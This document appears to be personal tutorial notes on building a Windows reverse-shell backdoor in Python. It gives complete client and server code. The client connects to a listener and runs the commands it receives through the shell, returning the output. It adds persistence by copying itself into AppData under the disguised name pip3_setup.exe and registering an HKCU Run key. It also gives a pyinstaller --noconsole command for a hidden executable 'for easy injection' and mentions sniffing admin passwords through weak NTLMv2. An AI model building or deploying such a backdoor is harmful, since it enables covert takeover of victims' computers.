**Backdoor coding**

I never suggest anyone hosting the Backdoor server on the Internet

Yet, you may do whatever you want to host the Backdoor server on the Internet :D

If this Backdoor is not working properly, please make sure Windows Defender Firewall is not in place to block the connections as below:

A screenshot of a computer

Description automatically generated

1. Server listening for connections

2. Payload/reverse shell delivered to targets

Using socket

TCP/IP handshake connection for the backdoor

Using an infinite while loop

# Theory for references

# IP Fragmentation illustration

<https://users.cs.fiu.edu/~esj/cgs4285/class11.html#:~:text=1.,on%20a%208%20byte%20boundary>.

A screen shot of a computer code

Description automatically generated

A computer code with numbers and lines

Description automatically generated

A computer code with numbers and lines

Description automatically generated

A computer code with numbers and lines

Description automatically generated

A screenshot of a computer program

Description automatically generated

A screenshot of a computer program

Description automatically generated

A screenshot of a computer program

Description automatically generated

A screenshot of a computer

Description automatically generated

# Socket

# Why IP Fragmentation HEADER must be 8 bytes

# while the 2nd portion of it need NOT be 8 bytes

<https://stackoverflow.com/questions/7846442/why-the-ip-fragments-must-be-in-multiples-of-8-bytes>

A screenshot of a computer

Description automatically generated

==== **Gaining persistency using Registry on Windows**

**Theory**

A screenshot of a computer

Description automatically generated

ctrl + r => regedit

We'll be focusing on

**HKEY\_CURRENT\_USER**

If we use HKEY\_CURRENT\_USER, the reverse shell will only focus on the logon user and monitor specific users’ login movement.

We'll focus on this exploitation

**We target startup program settings**:

**Computer/HKEY\_CURRENT\_USER/Software/Microsoft/Windows/CurrentVersion/Run**

A screenshot of a computer program

Description automatically generated

**Persistance is gained:**

A screenshot of a computer

Description automatically generated

# We'd like to manipulate the Registry keys first

# C:\Users\USER\AppData\Roaming is hidden

# We'll target this directory for our Reverse Shell

# This will point to whoever user's /AppData

location = os.environ["appdata"] + "[\\pip3\_setup.exe](file:///\\pip3_setup.exe)"

# If 'location' does NOT exist, it's 1st time running this Backdoor client

if not os.path.exists(location):

    # Performing copying action of our Backdoor.exe to User's /AppData

    shutil.copyfile(sys.executable, location)

    # Allow users to proactively connect to our backdoor server

    # whenever they login to their machines

    #

    # Appending machine startup .exe permissions to Victims' Windows regkey at

    # HKEY\_CURRENT\_USER\Software\Microsoft\Windows\CurrentVersion\Run

    # /v = Name; /t = Type; /d = Data

    subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v pip3 /t REG\_SZ /d "' + location + '"', shell=True)

else:

    # Otherwise, just jump to steps below

    sock = socket.socket(socket.AF\_INET,socket.SOCK\_STREAM)

    # ==========================================

    # IP\_ADDRESS = '192.168.31.138'

    # port = 54321

    #sock.connect((IP\_ADDRESS, port))

    #print(f'Connection Established to Server!')

    #shell()

    # ==========================================

    connection()

    #answer = "Server: Hello Back!"

    #sock.send(answer.encode())

    sock.close()

**Running the reverse\_shell.exe:**

A screenshot of a computer

Description automatically generated

**On our Backdoor server:**

A computer screen shot of a black screen

Description automatically generated

**HKEY\_LOCAL\_MACHINE**

If we use HKEY\_LOCAL\_MACHINE, the reverse shell will focus on whoever logins as long as the machine is booted

**NTLMv2 weak network logon reference:**

<https://learn.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level>

Yet, we normally do NOT have the admin password of the machine, unless

we perform a man-in-the-middle attack to sniff adming login password via a weak NTLMv2 network login to a Domain Controller in an Active Directory environment

A screenshot of a document

Description automatically generated

=== **Compiling .py to .exe single file for easy injection**

**python -m pyinstaller reverse\_shell.py --onefile --noconsole;**

**# Find reverse\_shell.exe in /dist**

A screenshot of a computer program

Description automatically generated

client.py:

##!/usr/bin/python

import socket

import subprocess

import json

# Passing 'data' as arg

def reliable\_send(data):

    json\_data = json.dumps(data)

    # To allow us sending as much commands & inputs as possible

    sock.send(json\_data.encode())

def reliable\_recv():

    # Preparing to store json\_data as bytes

    # Theory reference

    # IP Fragmentation illustration

    # <https://users.cs.fiu.edu/~esj/cgs4285/class11.html#:~:text=1.,on%20a%208%20byte%20boundary>.

    # Why IP fragmentation HEADER must be 8 bytes

    # while the 2nd portion of it need NOT be 8 bytes

    # <https://stackoverflow.com/questions/7846442/why-the-ip-fragments-must-be-in-multiples-of-8-bytes>

    json\_data = b''

    # To allow us run Backdoor until out of bytes

    # Instead of just 1024 bytes

    while True:

        try:

            json\_data += sock.recv(1024)

            # If target.recv <= 1024 bytes

            return json.loads(json\_data.decode())

        except ValueError:

            # If we get ValueError

            # Will go over reliable\_recv() over & over

            continue

def shell():

    while True:

        #command = sock.recv(1024)

        command = reliable\_recv()

        #print(command.decode())

        #if message.decode() == 'q':

        if command.strip() == 'q':

            break

            # continue to sock.close()

        else:

            try:

                #message\_back = input(f'Type Message to send to Server: ')

                proc = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

                result = proc.stdout.read() + proc.stderr.read()

                #sock.send(result)

                reliable\_send(result.decode())

                #sock.send(message\_back.encode())

            except Exception as e:

                error\_message = f'[!!] Cannot Execute this command: {str(e)}'

                reliable\_send(error\_message)

sock = socket.socket(socket.AF\_INET,socket.SOCK\_STREAM)

IP\_ADDRESS = '192.168.31.138'

port = 54321

sock.connect((IP\_ADDRESS, port))

print(f'Connection Established to Server!')

shell()

#answer = "Server: Hello Back!"

#sock.send(answer.encode())

sock.close()

server.py:

##!/usr/bin/python

import os

import socket

import json

# Passing 'data' as arg

def reliable\_send(data):

    json\_data = json.dumps(data)

    # To allow us sending as much commands & inputs as possible

    target.send(json\_data.encode())

def reliable\_recv():

    # Pre

    json\_data = b''

    # To allow us run Backdoor until out of bytes

    # Instead of just 1024 bytes

    while True:

        try:

            json\_data += target.recv(1024)

            # If target.recv <= 1024 bytes

            return json.loads(json\_data.decode())

        except ValueError:

            # If we get ValueError

            # Will go over reliable\_recv() over & over

            # This will break the contents down to 1024 bytes each time

            continue

def shell():

    # Infinite While loop

    while True:

        # Getting outputs from targets

        #message = input("\* Shell#~%s: " % str(ip))

        command = input("\* Shell#~%s: " % str(ip))

        # Sending message.encode() to the target

        #target.send(message.encode())

        #target.send(command.encode())

        reliable\_send(command)

        #if message == 'q':

        # Use strip() to remove any leading/trailing whitespace

        if command.strip() == 'q':

            break

            # continue to s.close()

        else:

            # target.recv(1024bytes)

            #answer = target.recv(1024)

            #result = target.recv(1024)

            #

            # If receiving packet > 1024 bytes => Backdoor crashes

            # e.g. running netstat -ano will crash this Backdoor

            result = reliable\_recv()

            #print(f'answer:\n{answer.decode()}')

            print(f'result:\n{result}')

def server():

    # Scoping

    global s

    global ip

    global target

    # Make a server that listens to IPv4

    s = socket.socket(socket.AF\_INET,socket.SOCK\_STREAM)

    s.setsockopt(socket.SOL\_SOCKET, socket.SO\_REUSEADDR, 1)

    # Binding to a port

    IP\_ADDRESS = '127.0.0.1'

    port = 54321

    print(f'Binding port: {port}...\n')

    s.bind((IP\_ADDRESS, port))

    number\_of\_connections = 5

    print(f'number\_of\_connections: {number\_of\_connections}\n')

    s.listen(number\_of\_connections)

    print(f'Listening for Incoming connections...\n')

    target, ip = s.accept()

    print(f'Target: {target} Connected!\n')

server()

shell()

s.close()